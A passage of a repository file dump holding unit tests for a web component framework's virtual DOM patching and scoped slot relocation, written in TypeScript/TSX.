elements', () => {\n        const vnode1 = h('div', null, ...[h('span', null, 'One'), h('span', null, 'Two'), h('span', null, 'Three')]);\n        const vnode2 = h('div', null, ...[h('span', null, 'One'), h('span', null, 'Three')]);\n\n        patch(vnode0, vnode1);\n        expect(map(inner, hostElm.children)).toEqual(['One', 'Two', 'Three']);\n\n        patch(vnode1, vnode2);\n        expect(map(inner, hostElm.children)).toEqual(['One', 'Three']);\n      });\n\n      it('removes a single text node', () => {\n        const vnode1 = h('div', null, 'One');\n        const vnode2 = h('div', null);\n\n        patch(vnode0, vnode1);\n        expect(hostElm.textContent).toEqual('One');\n\n        patch(vnode1, vnode2);\n        expect(hostElm.textContent).toEqual('');\n      });\n\n      it('removes a single text node when children are updated', () => {\n        const vnode1 = h('div', null, 'One');\n        const vnode2 = h('div', null, ...[h('div', null, 'Two'), h('span', null, 'Three')]);\n\n        patch(vnode0, vnode1);\n        expect(hostElm.textContent).toEqual('One');\n\n        patch(vnode1, vnode2);\n        expect(map(prop('textContent'), hostElm.childNodes)).toEqual(['Two', 'Three']);\n      });\n\n      it('should replace elements created with Array().map with text', () => {\n        const a = Array.from(Array(2)).map(() => h('div', null, 'a'));\n\n        const vnode1 = h('span', null, ...a);\n        const vnode2 = h('span', null, 'just text');\n\n        patch(vnode0, vnode1);\n\n        expect(hostElm.childNodes.length).toEqual(2);\n        expect(hostElm.textContent).toEqual('aa');\n\n        patch(vnode1, vnode2);\n        expect(hostElm.childNodes.length).toEqual(1);\n        expect(hostElm.textContent).toEqual('just text');\n      });\n\n      it('removes a text node among other elements', () => {\n        const vnode1 = h('div', null, ...['One', h('span', null, 'Two')]);\n        const vnode2 = h('div', null, ...[h('div', null, 'Three')]);\n\n        patch(vnode0, vnode1);\n        expect(map(prop('textContent'), hostElm.childNodes)).toEqual(['One', 'Two']);\n\n        patch(vnode1, vnode2);\n\n        expect(hostElm.childNodes.length).toEqual(1);\n        expect(hostElm.childNodes[0].tagName).toEqual('DIV');\n        expect(hostElm.childNodes[0].textContent).toEqual('Three');\n      });\n\n      it('reorders elements', () => {\n        const vnode1 = h('div', null, ...[h('span', null, 'One'), h('div', null, 'Two'), h('b', null, 'Three')]);\n        const vnode2 = h('div', null, ...[h('b', null, 'Three'), h('span', null, 'One'), h('div', null, 'Two')]);\n\n        patch(vnode0, vnode1);\n        expect(map(inner, hostElm.children)).toEqual(['One', 'Two', 'Three']);\n\n        patch(vnode1, vnode2);\n        expect(map(prop('tagName'), hostElm.children)).toEqual(['B', 'SPAN', 'DIV']);\n        expect(map(inner, hostElm.children)).toEqual(['Three', 'One', 'Two']);\n      });\n\n      it('supports null/undefined children', () => {\n        const vnode1 = h('i', null, ...[null, h('i', null, '1'), h('i', null, '2'), null]);\n        const vnode2 = h('i', null, ...[h('i', null, '2'), undefined, undefined, h('i', null, '1'), undefined]);\n        const vnode3 = h('i', null, ...[null, h('i', null, '1'), undefined, null, h('i', null, '2'), undefined, null]);\n\n        patch(vnode0, vnode1);\n        expect(map(inner, hostElm.children)).toEqual(['1', '2']);\n\n        patch(vnode1, vnode2);\n        expect(map(inner, hostElm.children)).toEqual(['2', '1']);\n\n        patch(vnode2, vnode3);\n        expect(map(inner, hostElm.children)).toEqual(['1', '2']);\n      });\n\n      it('supports all null/undefined children', () => {\n        const vnode1 = h('i', null, ...[h('i', null, '1'), h('i', null, '2')]);\n        const vnode2 = h('i', null, ...[null, null, undefined]);\n        const vnode3 = h('i', null, ...[h('i', null, '2'), h('i', null, '1')]);\n\n        patch(vnode0, vnode1);\n\n        patch(vnode1, vnode2);\n        expect(hostElm.children.length).toEqual(0);\n\n        patch(vnode2, vnode3);\n        expect(map(inner, hostElm.children)).toEqual(['2', '1']);\n      });\n    });\n  });\n\n  function prop(name: any) {\n    return function (obj: any) {\n      return obj[name];\n    };\n  }\n\n  function map(fn: any, list: any) {\n    const ret = [];\n    for (let i = 0; i < list.length; ++i) {\n      ret[i] = fn(list[i]);\n    }\n    return ret;\n  }\n\n  it('should normalize undefined $text$ to null in newVNode', () => {\n    const vnode = newVNode(null, undefined as any);\n    expect(vnode.$text$).toBe(null);\n  });\n});\n"
  },
  {
    "path": "src/runtime/vdom/test/scoped-slot.spec.tsx",
    "content": "import { Component, forceUpdate, h, Prop } from '@stencil/core';\nimport { newSpecPage } from '@stencil/core/testing';\n\ndescribe('scoped slot', () => {\n  it('should relocate nested default slot nodes', async () => {\n    @Component({ tag: 'ion-test', scoped: true })\n    class CmpA {\n      render() {\n        return (\n          <spider>\n            <slot></slot>\n          </spider>\n        );\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [CmpA],\n      html: `<ion-test>88</ion-test>`,\n    });\n\n    expect(root.firstElementChild.nodeName).toBe('SPIDER');\n    expect(root.firstElementChild.childNodes[1].textContent).toBe('88');\n    expect(root.firstElementChild.childNodes).toHaveLength(2);\n  });\n\n  it('should use components default slot text content', async () => {\n    @Component({ tag: 'ion-test', scoped: true })\n    class CmpA {\n      render() {\n        return (\n          <spider>\n            <slot>default content</slot>\n          </spider>\n        );\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [CmpA],\n      html: `<ion-test></ion-test>`,\n    });\n\n    expect(root.firstElementChild.nodeName).toBe('SPIDER');\n    expect(root.firstElementChild.children).toHaveLength(1);\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('SLOT-FB');\n    expect(root.firstElementChild.firstElementChild.textContent).toBe('default content');\n    expect(root.firstElementChild.firstElementChild.childNodes).toHaveLength(1);\n  });\n\n  it('should use components default slot node content', async () => {\n    @Component({ tag: 'ion-test', scoped: true })\n    class CmpA {\n      render() {\n        return (\n          <spider>\n            <slot>\n              <div>default content</div>\n            </slot>\n          </spider>\n        );\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [CmpA],\n      html: `<ion-test></ion-test>`,\n    });\n\n    expect(root.firstElementChild.nodeName).toBe('SPIDER');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('SLOT-FB');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.textContent).toBe('default content');\n  });\n\n  it('should relocate nested named slot nodes', async () => {\n    @Component({ tag: 'ion-test', scoped: true })\n    class CmpA {\n      render() {\n        return (\n          <monkey>\n            <slot name=\"start\"></slot>\n          </monkey>\n        );\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [CmpA],\n      html: `<ion-test><tiger slot=\"start\">88</tiger></ion-test>`,\n    });\n\n    expect(root.firstElementChild.nodeName).toBe('MONKEY');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('TIGER');\n    expect(root.firstElementChild.firstElementChild.textContent).toBe('88');\n    expect(root.firstElementChild.firstElementChild.childNodes).toHaveLength(1);\n  });\n\n  it('no content', async () => {\n    @Component({ tag: 'ion-parent', scoped: true })\n    class Parent {\n      render() {\n        return (\n          <lion>\n            <ion-child></ion-child>\n          </lion>\n        );\n      }\n    }\n\n    @Component({ tag: 'ion-child', scoped: true })\n    class Child {\n      render() {\n        return <slot></slot>;\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [Parent, Child],\n      html: `<ion-parent></ion-parent>`,\n    });\n\n    expect(root.children).toHaveLength(1);\n    expect(root.firstElementChild.nodeName).toBe('LION');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('ION-CHILD');\n    expect(root.firstElementChild.firstElementChild.children).toHaveLength(0);\n  });\n\n  it('no content, nested child slot', async () => {\n    @Component({ tag: 'ion-parent', scoped: true })\n    class Parent {\n      render() {\n        return (\n          <giraffe>\n            <ion-child></ion-child>\n          </giraffe>\n        );\n      }\n    }\n\n    @Component({ tag: 'ion-child', scoped: true })\n    class Child {\n      render() {\n        return (\n          <fish>\n            <slot></slot>\n          </fish>\n        );\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [Parent, Child],\n      html: `<ion-parent></ion-parent>`,\n    });\n\n    expect(root.children).toHaveLength(1);\n    expect(root.firstElementChild.nodeName).toBe('GIRAFFE');\n    expect(root.firstElementChild.children).toHaveLength(1);\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('ION-CHILD');\n    expect(root.firstElementChild.firstElementChild.children).toHaveLength(1);\n    expect(root.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('FISH');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.children).toHaveLength(0);\n  });\n\n  it('should put parent content in child default slot', async () => {\n    @Component({ tag: 'ion-parent', scoped: true })\n    class Parent {\n      render() {\n        return (\n          <hippo>\n            <ion-child>\n              <aardvark>parent message</aardvark>\n            </ion-child>\n          </hippo>\n        );\n      }\n    }\n\n    @Component({ tag: 'ion-child', scoped: true })\n    class Child {\n      render() {\n        return <slot></slot>;\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [Parent, Child],\n      html: `<ion-parent></ion-parent>`,\n    });\n\n    expect(root.firstElementChild.nodeName).toBe('HIPPO');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('ION-CHILD');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('AARDVARK');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.textContent).toBe('parent message');\n  });\n\n  it('should relocate parent content after child content dynamically changes slot wrapper tag', async () => {\n    @Component({ tag: 'ion-parent', scoped: true })\n    class Parent {\n      @Prop() innerH = (<h1>parent text</h1>);\n\n      render() {\n        return <ion-child>{this.innerH}</ion-child>;\n      }\n    }\n\n    @Component({ tag: 'ion-child', scoped: true })\n    class Child {\n      @Prop() Tag = 'section';\n\n      render() {\n        return (\n          <this.Tag>\n            <slot></slot>\n          </this.Tag>\n        );\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [Parent, Child],\n      html: `<ion-parent></ion-parent>`,\n    });\n\n    expect(root.firstElementChild.nodeName).toBe('ION-CHILD');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('SECTION');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('H1');\n    expect(root.firstElementChild.textContent).toBe('parent text');\n\n    root.innerH = <h6>parent text update</h6>;\n    await waitForChanges();\n\n    expect(root.firstElementChild.nodeName).toBe('ION-CHILD');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('SECTION');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('H6');\n    expect(root.firstElementChild.textContent).toBe('parent text update');\n\n    const child = root.querySelector('ion-child');\n    child.Tag = 'article';\n    await waitForChanges();\n\n    expect(root.firstElementChild.nodeName).toBe('ION-CHILD');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('ARTICLE');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('H6');\n    expect(root.firstElementChild.textContent).toBe('parent text update');\n  });\n\n  it('should put parent content in child nested default slot', async () => {\n    @Component({ tag: 'ion-parent', scoped: true })\n    class Parent {\n      render() {\n        return (\n          <badger>\n            <ion-child>\n              <dingo>parent message</dingo>\n            </ion-child>\n          </badger>\n        );\n      }\n    }\n\n    @Component({ tag: 'ion-child', scoped: true })\n    class Child {\n      render() {\n        return (\n          <camel>\n            <owl>\n              <slot></slot>\n            </owl>\n          </camel>\n        );\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [Parent, Child],\n      html: `<ion-parent></ion-parent>`,\n    });\n\n    expect(root.firstElementChild.nodeName).toBe('BADGER');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('ION-CHILD');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('CAMEL');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('OWL');\n    expect(\n      root.firstElementChild.firstElementChild.firstElementChild.firstElementChild.firstElementChild.nodeName,\n    ).toBe('DINGO');\n    expect(\n      root.firstElementChild.firstElementChild.firstElementChild.firstElementChild.firstElementChild.textContent,\n    ).toBe('parent message');\n\n    forceUpdate(root);\n    await waitForChanges();\n\n    expect(root.firstElementChild.nodeName).toBe('BADGER');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('ION-CHILD');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('CAMEL');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('OWL');\n    expect(\n      root.firstElementChild.firstElementChild.firstElementChild.firstElementChild.firstElementChild.nodeName,\n    ).toBe('DINGO');\n    expect(\n      root.firstElementChild.firstElementChild.firstElementChild.firstElementChild.firstElementChild.textContent,\n    ).toBe('parent message');\n  });\n\n  it('should render conditional content into a nested default slot', async () => {\n    @Component({ tag: 'ion-parent', scoped: true })\n    class Parent {\n      render() {\n        return (\n          <ion-child>\n            <slot></slot>\n          </ion-child>\n        );\n      }\n    }\n\n    @Component({ tag: 'ion-child', scoped: true })\n    class Child {\n      test = 0;\n\n      render() {\n        this.test++;\n\n        if (this.test === 1) {\n          return null;\n        }\n\n        if (this.test === 2) {\n          return [<div>content 1</div>, <div>content 2</div>];\n        }\n\n        if (this.test === 3) {\n          return null;\n        }\n\n        return <div>content 4</div>;\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [Parent, Child],\n      html: `<ion-parent></ion-parent>`,\n    });\n\n    expect(root.firstElementChild.nodeName).toBe('ION-CHILD');\n    expect(root.firstElementChild.textContent).toBe('');\n\n    const child = root.querySelector('ion-child');\n    forceUpdate(child);\n    await waitForChanges();\n\n    expect(root.firstElementChild.textContent).toBe('content 1content 2');\n\n    forceUpdate(child);\n    await waitForChanges();\n\n    expect(root.firstElementChild.textContent).toBe('');\n\n    forceUpdate(child);\n    await waitForChanges();\n    expect(root.firstElementChild.textContent).toBe('content 4');\n  });\n\n  it('should update parent content in child default slot', async () => {\n    @Component({ tag: 'ion-parent', scoped: true })\n    class Parent {\n      @Prop() msg = 'parent message';\n      render() {\n        return (\n          <cheetah>\n            <ion-child>\n              <bear>{this.msg}</bear>\n            </ion-child>\n          </cheetah>\n        );\n      }\n    }\n\n    @Component({ tag: 'ion-child', scoped: true })\n    class Child {\n      render() {\n        return (\n          <chipmunk>\n            <slot></slot>\n          </chipmunk>\n        );\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [Parent, Child],\n      html: `<ion-parent></ion-parent>`,\n    });\n\n    expect(root.firstElementChild.nodeName).toBe('CHEETAH');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('ION-CHILD');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('CHIPMUNK');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('BEAR');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.firstElementChild.textContent).toBe(\n      'parent message',\n    );\n\n    root.msg = 'change 1';\n    await waitForChanges();\n\n    expect(root.firstElementChild.nodeName).toBe('CHEETAH');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('ION-CHILD');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('CHIPMUNK');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('BEAR');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.firstElementChild.textContent).toBe('change 1');\n\n    root.msg = 'change 2';\n    await waitForChanges();\n\n    expect(root.firstElementChild.nodeName).toBe('CHEETAH');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('ION-CHILD');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('CHIPMUNK');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('BEAR');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.firstElementChild.textContent).toBe('change 2');\n  });\n\n  it('should update parent content inner text in child nested default slot', async () => {\n    @Component({ tag: 'ion-parent', scoped: true })\n    class Parent {\n      @Prop() msg = 'parent message';\n      render() {\n        return (\n          <ion-child>\n            <whale>{this.msg}</whale>\n          </ion-child>\n        );\n      }\n    }\n\n    @Component({ tag: 'ion-child', scoped: true })\n    class Child {\n      render() {\n        return (\n          <bull>\n            <slot></slot>\n          </bull>\n        );\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [Parent, Child],\n      html: `<ion-parent></ion-parent>`,\n    });\n\n    expect(root.firstElementChild.nodeName).toBe('ION-CHILD');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('BULL');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('WHALE');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.textContent).toBe('parent message');\n\n    root.msg = 'change 1';\n    await waitForChanges();\n\n    expect(root.firstElementChild.nodeName).toBe('ION-CHILD');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('BULL');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('WHALE');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.textContent).toBe('change 1');\n\n    root.msg = 'change 2';\n    await waitForChanges();\n\n    expect(root.firstElementChild.nodeName).toBe('ION-CHILD');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('BULL');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('WHALE');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.textContent).toBe('change 2');\n  });\n\n  it('should allow multiple slots with same name', async () => {\n    let values = 0;\n\n    @Component({ tag: 'ion-parent', scoped: true })\n    class Parent {\n      render() {\n        return (\n          <ion-child>\n            <falcon slot=\"start\">{++values}</falcon>\n            <eagle slot=\"start\">{++values}</eagle>\n          </ion-child>\n        );\n      }\n    }\n\n    @Component({ tag: 'ion-child', scoped: true })\n    class Child {\n      render() {\n        return (\n          <mouse>\n            <slot></slot>\n            <slot name=\"start\"></slot>\n            <slot name=\"end\"></slot>\n          </mouse>\n        );\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [Parent, Child],\n      html: `<ion-parent></ion-parent>`,\n    });\n\n    expect(root.firstElementChild.nodeName).toBe('ION-CHILD');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('MOUSE');\n    expect(root.firstElementChild.firstElementChild.children[0].nodeName).toBe('FALCON');\n    expect(root.firstElementChild.firstElementChild.children[0].textContent).toBe('1');\n    expect(root.firstElementChild.firstElementChild.children[1].nodeName).toBe('EAGLE');\n    expect(root.firstElementChild.firstElementChild.children[1].textContent).toBe('2');\n\n    forceUpdate(root);\n    await waitForChanges();\n\n    expect(root.firstElementChild.nodeName).toBe('ION-CHILD');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('MOUSE');\n    expect(root.firstElementChild.firstElementChild.children[0].nodeName).toBe('FALCON');\n    expect(root.firstElementChild.firstElementChild.children[0].textContent).toBe('3');\n    expect(root.firstElementChild.firstElementChild.children[1].nodeName).toBe('EAGLE');\n    expect(root.firstElementChild.firstElementChild.children[1].textContent).toBe('4');\n\n    forceUpdate(root);\n    await waitForChanges();\n\n    expect(root.firstElementChild.nodeName).toBe('ION-CHILD');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('MOUSE');\n    expect(root.firstElementChild.firstElementChild.children[0].nodeName).toBe('FALCON');\n    expect(root.firstElementChild.firstElementChild.children[0].textContent).toBe('5');\n    expect(root.firstElementChild.firstElementChild.children[1].nodeName).toBe('EAGLE');\n    expect(root.firstElementChild.firstElementChild.children[1].textContent).toBe('6');\n  });\n\n  it('should only render nested named slots and default slot', async () => {\n    let values = 0;\n\n    @Component({ tag: 'ion-parent', scoped: true })\n    class Parent {\n      render() {\n        return (\n          <ion-child>\n            <butterfly>{(++values).toString()}</butterfly>\n            <fox slot=\"end\">{++values}</fox>\n            <ferret slot=\"start\">{++values}</ferret>\n          </ion-child>\n        );\n      }\n    }\n\n    @Component({ tag: 'ion-child', scoped: true })\n    class Child {\n      render() {\n        return (\n          <flamingo>\n            <slot name=\"start\"></slot>\n            <horse>\n              <slot></slot>\n              <bullfrog>\n                <slot name=\"end\"></slot>\n              </bullfrog>\n            </horse>\n          </flamingo>\n        );\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [Parent, Child],\n      html: `<ion-parent></ion-parent>`,\n    });\n\n    expect(root.firstElementChild.nodeName).toBe('ION-CHILD');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('FLAMINGO');\n    expect(root.firstElementChild.firstElementChild.children[0].nodeName).toBe('FERRET');\n    expect(root.firstElementChild.firstElementChild.children[0].textContent).toBe('3');\n    expect(root.firstElementChild.firstElementChild.children[1].nodeName).toBe('HORSE');\n    expect(root.firstElementChild.firstElementChild.children[1].children[0].nodeName).toBe('BUTTERFLY');\n    expect(root.firstElementChild.firstElementChild.children[1].children[0].textContent).toBe('1');\n    expect(root.firstElementChild.firstElementChild.children[1].children[1].nodeName).toBe('BULLFROG');\n    expect(root.firstElementChild.firstElementChild.children[1].children[1].children[0].nodeName).toBe('FOX');\n    expect(root.firstElementChild.firstElementChild.children[1].children[1].children[0].textContent).toBe('2');\n\n    forceUpdate(root);\n    await waitForChanges();\n\n    expect(root.firstElementChild.nodeName).toBe('ION-CHILD');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('FLAMINGO');\n    expect(root.firstElementChild.firstElementChild.children[0].nodeName).toBe('FERRET');\n    expect(root.firstElementChild.firstElementChild.children[0].textContent).toBe('6');\n    expect(root.firstElementChild.firstElementChild.children[1].nodeName).toBe('HORSE');\n    expect(root.firstElementChild.firstElementChild.children[1].children[0].nodeName).toBe('BUTTERFLY');\n    expect(root.firstElementChild.firstElementChild.children[1].children[0].textContent).toBe('4');\n    expect(root.firstElementChild.firstElementChild.children[1].children[1].nodeName).toBe('BULLFROG');\n    expect(root.firstElementChild.firstElementChild.children[1].children[1].children[0].nodeName).toBe('FOX');\n    expect(root.firstElementChild.firstElementChild.children[1].children[1].children[0].textContent).toBe('5');\n\n    forceUpdate(root);\n    await waitForChanges();\n\n    expect(root.firstElementChild.nodeName).toBe('ION-CHILD');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('FLAMINGO');\n    expect(root.firstElementChild.firstElementChild.children[0].nodeName).toBe('FERRET');\n    expect(root.firstElementChild.firstElementChild.children[0].textContent).toBe('9');\n    expect(root.firstElementChild.firstElementChild.children[1].nodeName).toBe('HORSE');\n    expect(root.firstElementChild.firstElementChild.children[1].children[0].nodeName).toBe('BUTTERFLY');\n    expect(root.firstElementChild.firstElementChild.children[1].children[0].textContent).toBe('7');\n    expect(root.firstElementChild.firstElementChild.children[1].children[1].nodeName).toBe('BULLFROG');\n    expect(root.firstElementChild.firstElementChild.children[1].children[1].children[0].nodeName).toBe('FOX');\n    expect(root.firstElementChild.firstElementChild.children[1].children[1].children[0].textContent).toBe('8');\n  });\n\n  it('should allow nested default slots', async () => {\n    let values = 0;\n\n    @Component({ tag: 'ion-parent', scoped: true })\n    class Parent {\n      render() {\n        return (\n          <test-1>\n            <test-2>\n              <goat>{(++values).toString()}</goat>\n            </test-2>\n          </test-1>\n        );\n      }\n    }\n\n    @Component({ tag: 'test-1', scoped: true })\n    class Test1 {\n      render() {\n        return (\n          <seal>\n            <slot></slot>\n          </seal>\n        );\n      }\n    }\n\n    @Component({ tag: 'test-2', scoped: true })\n    class Test2 {\n      render() {\n        return (\n          <goose>\n            <slot></slot>\n          </goose>\n        );\n      }\n    }\n\n    const { root, waitForChanges } = await newSpecPage({\n      components: [Parent, Test1, Test2],\n      html: `<ion-parent></ion-parent>`,\n    });\n\n    expect(root.firstElementChild.nodeName).toBe('TEST-1');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('SEAL');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('TEST-2');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('GOOSE');\n    expect(\n      root.firstElementChild.firstElementChild.firstElementChild.firstElementChild.firstElementChild.nodeName,\n    ).toBe('GOAT');\n    expect(\n      root.firstElementChild.firstElementChild.firstElementChild.firstElementChild.firstElementChild.textContent,\n    ).toBe('1');\n\n    forceUpdate(root);\n    await waitForChanges();\n\n    expect(root.firstElementChild.nodeName).toBe('TEST-1');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('SEAL');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('TEST-2');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('GOOSE');\n    expect(\n      root.firstElementChild.firstElementChild.firstElementChild.firstElementChild.firstElementChild.nodeName,\n    ).toBe('GOAT');\n    expect(\n      root.firstElementChild.firstElementChild.firstElementChild.firstElementChild.firstElementChild.textContent,\n    ).toBe('2');\n\n    forceUpdate(root);\n    await waitForChanges();\n\n    expect(root.firstElementChild.nodeName).toBe('TEST-1');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('SEAL');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('TEST-2');\n    expect(root.firstElementChild.firstElementChild.firstElementChild.firstElementChild.nodeName).toBe('GOOSE');\n    expect(\n      root.firstElementChild.firstElementChild.firstElementChild.firstElementChild.firstElementChild.nodeName,\n    ).toBe('GOAT');\n    expect(\n      root.firstElementChild.firstElementChild.firstElementChild.firstElementChild.firstElementChild.textContent,\n    ).toBe('3');\n  });\n\n  it('should allow nested default slots w/ default slot content', async () => {\n    @Component({ tag: 'ion-parent', scoped: true })\n    class Parent {\n      render() {\n        return (\n          <test-1>\n            <test-2>\n              <goat>hey goat!</goat>\n            </test-2>\n          </test-1>\n        );\n      }\n    }\n\n    @Component({ tag: 'test-1', scoped: true })\n    class Test1 {\n      render() {\n        return (\n          <seal>\n            <slot>\n              <div>hey seal!</div>\n            </slot>\n          </seal>\n        );\n      }\n    }\n\n    @Component({ tag: 'test-2', scoped: true })\n    class Test2 {\n      render() {\n        return (\n          <goose>\n            <slot>\n              <div>hey goose!</div>\n            </slot>\n          </goose>\n        );\n      }\n    }\n\n    const { root } = await newSpecPage({\n      components: [Parent, Test1, Test2],\n      html: `<ion-parent></ion-parent>`,\n    });\n\n    expect(root.firstElementChild.nodeName).toBe('TEST-1');\n    expect(root.firstElementChild.firstElementChild.nodeName).toBe('SEAL');\n    // expect(root.firstElementChild.firstElementChild.children[0].nodeName).toBe('SLOT-FB');\n    // expect(root.firstElementChild.firstElementChild.children[0].hasAttribute('hidden')).toBe(true);\n    // expect(root.firstElementChild.firstElementChild.children[1].nodeName).toBe('TEST-2');\n    // expect(root.firstElementChild.firstElementChild.children[1].firstElementChild.nodeName).toBe('GOOSE');\n    // expect(root.firstElementChild.firstElementChild.children[1].firstElementChild.children[0].nodeName).toBe('SLOT-FB');\n    // expect(root.firstElementChild.firstElementChild.children[1].firstElementChild.children[0].hasAttribute('hidden')).toBe(true);\n    // expect(root.firstElementChild.firstElementChild.children[1].firstElementChild.children[1].nodeName).toBe('GOAT');\n    // expect(root.firstElementChild.firstElementChild.children[1].firstElementChild.children[1].textContent).toBe('hey goat!');\n\n    // forceUpdate(root);\n    // await waitForChanges();\n\n    // expect(root.firstElementChild.nodeName).toBe('TEST-1');\n    // expect(root.firstElementChild.firstElementChild.nodeName).toBe('SEAL');\n    // expect(root.firstElementChild.firstElementChild.children[0].nodeName).toBe('SLOT-FB');\n    // expect(root.firstElementChild.firstElementChild.children[0].hasAttribute('hidden')).toBe(true);\n    // expect(root.firstElementChild.firstElementChild.children[1].nodeName).toBe('TEST-2');\n    // expect(root.firstElementChild.firstElementChild.children[1].firstElementChild.nodeName).toBe('GOOSE');\n    // expect(root.firstElementChild.firstElementChild.children[1].firstElementChild.children[0].nodeName).toBe('SLOT-FB');\n    // expect(root.firstElementChild.firstElementChild.children[1].firstElementChild.children[0].hasAttribute('hidden')).toBe(true);\n    // expect(root.firstElementChild.firstElementChild.children[1].firstElementChild.children[1].nodeName).toBe('GOAT');\n    // expect(root.firstElementChild.firstElementChild.children[1].firstElementChild.children[1].textContent).toBe('hey goat!');\n\n    // forceUpdate(root);\n    // await waitForChanges();\n\n    // expect(root.firstElementChild.nodeName).toBe('TEST-1');\n    // expect(root.firstElementChild.firstElementChild.nodeName).toBe('SEAL');\n    // expect(root.firstElementChild.firstElementChild.children[0].nodeName).toBe('SLOT-FB');\n    // expect(root.firstElementChild.firstElementChild.children[0].hasAttribute('hidden')).toBe(true);\n    // expect(root.firstElementChild.firstElementChild.children[1].nodeName).toBe('TEST-2');\n    // expect(root.firstElementChild.firstElementChild.children[1].firstElementChild.nodeName).toBe('GOOSE');\n    // expect(root.firstElementChild.firstElementChild.children[1].firstElementChild.children[0].nodeName).toBe('SLOT-FB');\n    // expect(root.firstElementChild.firstElementChild.children[1].firstElementChild.children[0].hasAttribute('hidden')).toBe(true);\n    // expect(root.firstElementChild.firstElementChild.children[1].firstElementChild.children[1].nodeName).toBe('GOAT');\n    // expect(root.firstElementChild.firstElementChild.children[1].firstElementChild.children[1].textContent).toBe('hey goat!');\n  });\n\n  it(\"should hide the slot's fallback content for a scoped component when slot content passed in\", async () => {\n    @Component({ tag: 'fallback-test', scoped: true })\n    class ScopedFallbackSlotTest {\n      render() {\n        return (\n          <div>\n            <slot>\n              <p>Fallback Content</p>\n            </slot>\n          </div>\n        );\n      }\n    }\n    const { root } = await newSpecPage({\n      components: [ScopedFallbackSlotTest],\n      html: `<fallback-test><span>Content</span></fallback-test>`,\n    });\n\n    expect(root.firstElementChild.children[0].nodeName).toBe('SLOT-FB');\n    expect(root.firstElementChild.children[0]).toHaveAttribute('hidden');\n  });\n\n  it(\"should hide the slot's fallback content for a non-shadow component when slot content passed in\", async () => {\n    @Component({ tag: 'fallback-test', shadow: false })\n    class NonShadowFallbackSlotTest {\n      render() {\n        return (\n          <div>\n            <slot>\n              <p>Fallback 